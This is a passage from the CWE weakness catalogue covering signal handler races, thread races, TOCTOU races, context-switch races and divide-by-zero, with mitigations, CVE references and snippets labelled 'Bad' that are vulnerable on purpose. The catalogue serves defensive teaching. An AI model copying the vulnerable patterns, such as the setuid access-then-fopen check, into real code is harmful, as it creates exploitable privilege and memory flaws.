ParentOf		432	Dangerous Signal Handler not Disabled During Sensitive Operations	988
ParentOf		828	Signal Handler with Functionality that is not Asynchronous-Safe	1617
ParentOf		831	Signal Handler Function Associated with Multiple Signals	1629
CanPrecede		123	Write-what-where Condition	310
CanPrecede		415	Double Free	954
CanPrecede		416	Use After Free	958

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	387	Signal Errors	2114
MemberOf	<b>C</b>	557	Concurrency Issues	2122

### Applicable Platforms

**Language** : C (Prevalence = Sometimes)

**Language** : C++ (Prevalence = Sometimes)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Modify Memory	
Availability	DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands	
	<i>It may be possible to cause data corruption and possibly execute arbitrary code by modifying global variables or data structures at unexpected times, violating the assumptions of code that uses this global data.</i>	
Access Control	Gain Privileges or Assume Identity	
	<i>If a signal handler interrupts code that is executing with privileges, it may be possible that the signal handler will also be executed with elevated privileges, possibly making subsequent exploits more severe.</i>	

### Potential Mitigations

#### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

#### Phase: Architecture and Design

Design signal handlers to only set flags, rather than perform complex functionality. These flags can then be checked and acted upon within the main program loop.

#### Phase: Implementation

Only use reentrant functions within signal handlers. Also, use validation to ensure that state is consistent while performing asynchronous actions that affect the state of execution.

### Demonstrative Examples

#### Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

*Example Language: C*

*(Bad)*

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
}
```

```

/* artificially increase the size of the timing window to make demonstration of this weakness easier. */
sleep(10);
exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}

```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

### Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

Example Language: C

(Bad)

```

#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
    syslog(LOG_NOTICE, "%s\n", what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
}

```

```

    exit(0);
  }
  int main (int argc, char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP,sh);
    signal(SIGTERM,sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
  }

```

However, the following sequence of events may result in a double-free (CWE-415):

1. a SIGHUP is delivered to the process
2. sh() is invoked to process the SIGHUP
3. This first invocation of sh() reaches the point where global1 is freed
4. At this point, a SIGTERM is sent to the process
5. the second invocation of sh() might do another free of global1
6. this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [REF-360].

### Observed Examples

Reference	Description
<b>CVE-1999-0035</b>	Signal handler does not disable other signal handlers, allowing it to be interrupted, causing other functionality to access files/etc. with raised privileges <a href="https://www.cve.org/CVERecord?id=CVE-1999-0035">https://www.cve.org/CVERecord?id=CVE-1999-0035</a>
<b>CVE-2001-0905</b>	Attacker can send a signal while another signal handler is already running, leading to crash or execution with root privileges <a href="https://www.cve.org/CVERecord?id=CVE-2001-0905">https://www.cve.org/CVERecord?id=CVE-2001-0905</a>
<b>CVE-2001-1349</b>	unsafe calls to library functions from signal handler <a href="https://www.cve.org/CVERecord?id=CVE-2001-1349">https://www.cve.org/CVERecord?id=CVE-2001-1349</a>
<b>CVE-2004-0794</b>	SIGURG can be used to remotely interrupt signal handler; other variants exist <a href="https://www.cve.org/CVERecord?id=CVE-2004-0794">https://www.cve.org/CVERecord?id=CVE-2004-0794</a>
<b>CVE-2004-2259</b>	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2259">https://www.cve.org/CVERecord?id=CVE-2004-2259</a>

### Functional Areas

- Signals
- Interprocess Communication

### Affected Resources

- System Process

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	361	7PK - Time and State	<input type="checkbox"/>	700 2113
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	<input type="checkbox"/>	884 2327

Nature	Type	ID	Name	V	Page
MemberOf		986	SFP Secondary Cluster: Missing Lock	888	2205

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Signal handler race condition
7 Pernicious Kingdoms			Signal Handling Race Conditions
CLASP			Race condition in signal handler
Software Fault Patterns	SFP19		Missing Lock

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-360]Michal Zalewski. "Delivering Signals for Fun and Profit". < <http://lcamtuf.coredump.cx/signals.txt> >.

[REF-361]"Race Condition: Signal Handling". < [http://www.fortify.com/vulncat/en/vulncat/cpp/race\\_condition\\_signal\\_handling.html](http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html) >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-366: Race Condition within a Thread

**Weakness ID** : 366

**Structure** : Simple

**Abstraction** : Base

### Description

If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ("Race Condition")	841

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		557	Concurrency Issues	2122

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	
Other	Unexpected State	
	<i>The main problem is that -- if a lock is overcome -- data could be altered in a bad state.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Use locking functionality. This is the recommended solution. Implement some form of locking mechanism around code which alters or reads persistent data in a multithreaded environment.

#### Phase: Architecture and Design

Create resource-locking validation checks. If no inherent locking mechanisms exist, use flags and signals to enforce your own blocking scheme when resources are being used by other threads of execution.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

*(Bad)*

```
int foo = 0;
int storenum(int num) {
    static int counter = 0;
    counter++;
    if (num > foo) foo = num;
    return foo;
}
```

*Example Language: Java*

*(Bad)*

```
public class Race {
    static int foo = 0;
    public static void main() {
        new Threader().start();
        foo = 1;
    }
    public static class Threader extends Thread {
        public void run() {
            System.out.println(foo);
        }
    }
}
```

## Affected Resources

- System Process

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2144
MemberOf	<b>C</b>	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	2159
MemberOf	<b>C</b>	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	2174
MemberOf	<b>C</b>	986	SFP Secondary Cluster: Missing Lock	888	2205
MemberOf	<b>C</b>	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	2241
MemberOf	<b>C</b>	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	1154	2255

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Race condition within a thread
CERT C Secure Coding	CON32-C	CWE More Abstract	Prevent data races when accessing bit-fields from multiple threads
CERT C Secure Coding	CON40-C	CWE More Abstract	Do not refer to an atomic variable twice in an expression
CERT C Secure Coding	CON43-C	Exact	Do not allow data races in multithreaded code
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J		Ensure that compound operations on shared variables are atomic
The CERT Oracle Secure Coding Standard for Java (2011)	VNA03-J		Do not assume that a group of calls to independently atomic methods is atomic
Software Fault Patterns	SFP19		Missing Lock

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition



**Weakness ID** : 367**Structure** : Simple**Abstraction** : Base

## Description

The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the product to perform invalid actions when the resource is in an unexpected state.





## Extended Description

This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multithreaded programs.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841
ParentOf		363	Race Condition Enabling Link Following	849
PeerOf		386	Symbolic Name not Mapping to Correct Object	892
CanFollow		609	Double-Checked Locking	1283

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		557	Concurrency Issues	2122

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Alternate Terms

**TOCTTOU** : The TOCTTOU acronym expands to "Time Of Check To Time Of Use".

**TOCCTOU** : The TOCCTOU acronym is most likely a typo of TOCTTOU, but it has been used in some influential documents, so the typo is repeated fairly frequently.

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	
Other	Unexpected State	
	<i>The attacker can gain access to otherwise unauthorized resources.</i>	

Scope	Impact	Likelihood
Integrity Other	Modify Application Data Modify Files or Directories Modify Memory Other  <i>Race conditions such as this kind may be employed to gain read or write access to resources which are not normally readable or writable by the user in question.</i>	
Integrity Other	Other  <i>The resource in question, or other resources (through the corrupted one), may be changed in undesirable ways by a malicious user.</i>	
Non-Repudiation	Hide Activities  <i>If a file or other resource is written in this method, as opposed to in a valid way, logging of the activity may not occur.</i>	
Non-Repudiation Other	Other  <i>In some cases it may be possible to delete files a malicious user might not otherwise have access to, such as log files.</i>	

### Potential Mitigations

#### Phase: Implementation

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

#### Phase: Implementation

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

#### Phase: Architecture and Design

Limit the interleaving of operations on files from multiple processes.

#### Phase: Implementation

#### Phase: Architecture and Design

If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.

#### Phase: Implementation

Recheck the resource after the use call to verify that the action was taken appropriately.

#### Phase: Architecture and Design

Ensure that some environmental locking mechanism can be used to protect resources effectively.

#### Phase: Implementation

Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

### Demonstrative Examples

#### Example 1:

The following code checks a file, then updates its contents.

*Example Language: C*

*(Bad)*

```
struct stat *sb;
...
lstat("...",sb); // it has not been updated since the last time it was read
printf("stated file\n");
if (sb->st_mtimespec==...){
    print("Now updating things\n");
    updateThings();
}
```

Potentially the file could have been updated between the time of the check and the lstat, especially since the printf has latency.

### Example 2:

The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.

*Example Language: C*

*(Bad)*

```
if(!access(file,W_OK)) {
    f = fopen(file,"w+");
    operate(f);
    ...
}
else {
    fprintf(stderr,"Unable to open file %s.\n",file);
}
```

The call to access() behaves as expected, and returns 0 if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.

### Example 3:

This code prints the contents of a file if a user has permission.

*Example Language: PHP*

*(Bad)*

```
function readFile($filename){
    $user = getCurrentUser();
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
```

```

    echo 'Access denied';
    return false;
  }
}

```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to `is_link()` and `file_get_contents()`, allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

#### Example 4:

This example is adapted from [REF-18]. Assume that this code block is invoked from multiple threads. The switch statement will execute different code depending on the time when MYFILE.txt was last changed.

Example Language: C

(Bad)

```

#include <sys/types.h>
#include <sys/stat.h>
...
struct stat sb;
stat("MYFILE.txt",&sb);
printf("file change time: %d\n",sb->st_ctime);
switch(sb->st_ctime % 2){
    case 0: printf("Option 1\n"); break;
    case 1: printf("Option 2\n"); break;
    default: printf("this should be unreachable?\n"); break;
}

```

If this code block were executed within multiple threads, and MYFILE.txt changed between the operation of one thread and another, then the switch could produce different, possibly unexpected results.

### Observed Examples

Reference	Description
<b>CVE-2015-1743</b>	TOCTOU in sandbox process allows installation of untrusted browser add-ons by replacing a file after it has been verified, but before it is executed <a href="https://www.cve.org/CVERecord?id=CVE-2015-1743">https://www.cve.org/CVERecord?id=CVE-2015-1743</a>
<b>CVE-2003-0813</b>	A multi-threaded race condition allows remote attackers to cause a denial of service (crash or reboot) by causing two threads to process the same RPC request, which causes one thread to use memory after it has been freed. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0813">https://www.cve.org/CVERecord?id=CVE-2003-0813</a>
<b>CVE-2004-0594</b>	PHP flaw allows remote attackers to execute arbitrary code by aborting execution before the initialization of key data structures is complete. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0594">https://www.cve.org/CVERecord?id=CVE-2004-0594</a>
<b>CVE-2008-2958</b>	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2958">https://www.cve.org/CVERecord?id=CVE-2008-2958</a>
<b>CVE-2008-1570</b>	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2008-1570">https://www.cve.org/CVERecord?id=CVE-2008-1570</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		361	7PK - Time and State	<input checked="" type="checkbox"/>	700 2113

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	988	SFP Secondary Cluster: Race Condition Window	888	2206

## Notes

### Relationship

TOCTOU issues do not always involve symlinks, and not every symlink issue is a TOCTOU problem.

### Research Gap

Non-symlink TOCTOU issues are not reported frequently, but they are likely to occur in code that attempts to be secure.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Time-of-check Time-of-use race condition
7 Pernicious Kingdoms			File Access Race Conditions: TOCTOU
CLASP			Time of check, time of use race condition
CLASP			Race condition in switch
CERT C Secure Coding	FIO01-C		Be careful using functions that use file names for identification
Software Fault Patterns	SFP20		Race Condition Window

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
27	Leveraging Race Conditions via Symbolic Links
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-367]Dan Tsafir, Tomer Hertz, David Wagner and Dilma Da Silva. "Portably Solving File TOCTOU Races with Hardness Amplification". 2008 February 8. < <http://www.usenix.org/events/fast08/tech/tsafir.html> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-368: Context Switching Race Condition

**Weakness ID** : 368

**Structure** : Simple

**Abstraction** : Base

## Description

A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.



### Extended Description

This is commonly seen in web browser vulnerabilities in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841
CanAlsoBe		364	Signal Handler Race Condition	851

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		557	Concurrency Issues	2122

### Weakness Ordinalities

**Primary :** This weakness can be primary to almost anything, depending on the context of the race condition.

**Resultant :** This weakness can be resultant from insufficient compartmentalization (CWE-653), incorrect locking, improper initialization or shutdown, or a number of other weaknesses.

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	

### Observed Examples

Reference	Description
<b>CVE-2009-1837</b>	Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416) <a href="https://www.cve.org/CVERecord?id=CVE-2009-1837">https://www.cve.org/CVERecord?id=CVE-2009-1837</a>
<b>CVE-2004-2260</b>	Browser updates address bar as soon as user clicks on a link instead of when the page has loaded, allowing spoofing by redirecting to another page using onUnload method. ** this is one example of the role of "hooks" and context switches, and should be captured somehow - also a race condition of sorts ** <a href="https://www.cve.org/CVERecord?id=CVE-2004-2260">https://www.cve.org/CVERecord?id=CVE-2004-2260</a>
<b>CVE-2004-0191</b>	XSS when web browser executes Javascript events in the context of a new page while it's being loaded, allowing interaction with previous page in different domain.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2004-0191">https://www.cve.org/CVERecord?id=CVE-2004-0191</a>
<b>CVE-2004-2491</b>	Web browser fills in address bar of clicked-on link before page has been loaded, and doesn't update afterward. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2491">https://www.cve.org/CVERecord?id=CVE-2004-2491</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	986	SFP Secondary Cluster: Missing Lock	888	2205

### Notes

#### Relationship

Can overlap signal handler race conditions.

#### Research Gap

Under-studied as a concept. Frequency unknown; few vulnerability reports give enough detail to know when a context switching race condition is a factor.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Context Switching Race Condition

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-369: Divide By Zero

**Weakness ID** : 369

**Structure** : Simple

**Abstraction** : Base

### Description

The product divides a value by zero.

### Extended Description

This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*



Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	☐	189	Numeric Errors	2103

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart  <i>A Divide by Zero results in a crash.</i>	

### Demonstrative Examples

#### Example 1:

The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.

*Example Language: Java*

*(Bad)*

```
public int computeAverageResponseTime (int totalTime, int numRequests) {
    return totalTime / numRequests;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.

*Example Language:*

*(Good)*

```
public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
    if (numRequests == 0) {
        System.out.println("Division by zero attempted!");
        throw ArithmeticException;
    }
    return totalTime / numRequests;
}
```

#### Example 2:

The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

*Example Language: C*

*(Bad)*

```
double divide(double x, double y){
    return x/y;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.

*Example Language:*

*(Good)*

```
const int DivideByZero = 10;
double divide(double x, double y){
    if ( 0 == y){
        throw DivideByZero;
    }
    return x/y;
}
...
try{
    divide(10, 0);
}
catch( int i){
    if(i==DivideByZero) {
        cerr<<"Divide by zero error";
    }
}
```

### Example 3:

The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

*Example Language: C#*

*(Bad)*

```
int Division(int x, int y){
    return (x / y);
}
```

The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.

*Example Language:*

*(Good)*

```
int SafeDivision(int x, int y){
    try{
        return (x / y);
    }
    catch (System.DivideByZeroException dbz){
        System.Console.WriteLine("Division by zero attempted!");
        return 0;
    }
}
```

## Observed Examples

Reference	Description
<b>CVE-2007-3268</b>	Invalid size value leads to divide by zero. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3268">https://www.cve.org/CVERecord?id=CVE-2007-3268</a>
<b>CVE-2007-2723</b>	"Empty" content triggers divide by zero. <a href="https://www.cve.org/CVERecord?id=CVE-2007-2723">https://www.cve.org/CVERecord?id=CVE-2007-2723</a>
<b>CVE-2007-2237</b>	Height value of 0 triggers divide by zero. <a href="https://www.cve.org/CVERecord?id=CVE-2007-2237">https://www.cve.org/CVERecord?id=CVE-2007-2237</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	2132
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2135
MemberOf	C	739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)	734	2136
MemberOf	C	848	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)	844	2157
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2168
MemberOf	C	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	2168
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	2238
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	FLP03-C		Detect and handle floating point errors
CERT C Secure Coding	INT33-C	Exact	Ensure that division and remainder operations do not result in divide-by-zero errors
The CERT Oracle Secure Coding Standard for Java (2011)	NUM02-J		Ensure that division and modulo operations do not result in divide-by-zero errors
Software Fault Patterns	SFP1		Glitch in computation

## References

[REF-371]Alex Allain. "Handling Errors Exceptionally Well in C++". < <http://www.cprogramming.com/tutorial/exceptions.html> >.

[REF-372]Microsoft. "Exceptions and Exception Handling (C# Programming Guide)". < [https://msdn.microsoft.com/pl-pl/library/ms173160\(v=vs.100\).aspx](https://msdn.microsoft.com/pl-pl/library/ms173160(v=vs.100).aspx) >.

## CWE-370: Missing Check for Certificate Revocation after Initial Check

**Weakness ID :** 370  
**Structure :** Simple  
**Abstraction :** Variant

### Description

The product does not check the revocation status of a certificate after its initial revocation check, which can cause the product to perform privileged actions even after the certificate is revoked at a later time.

### Extended Description

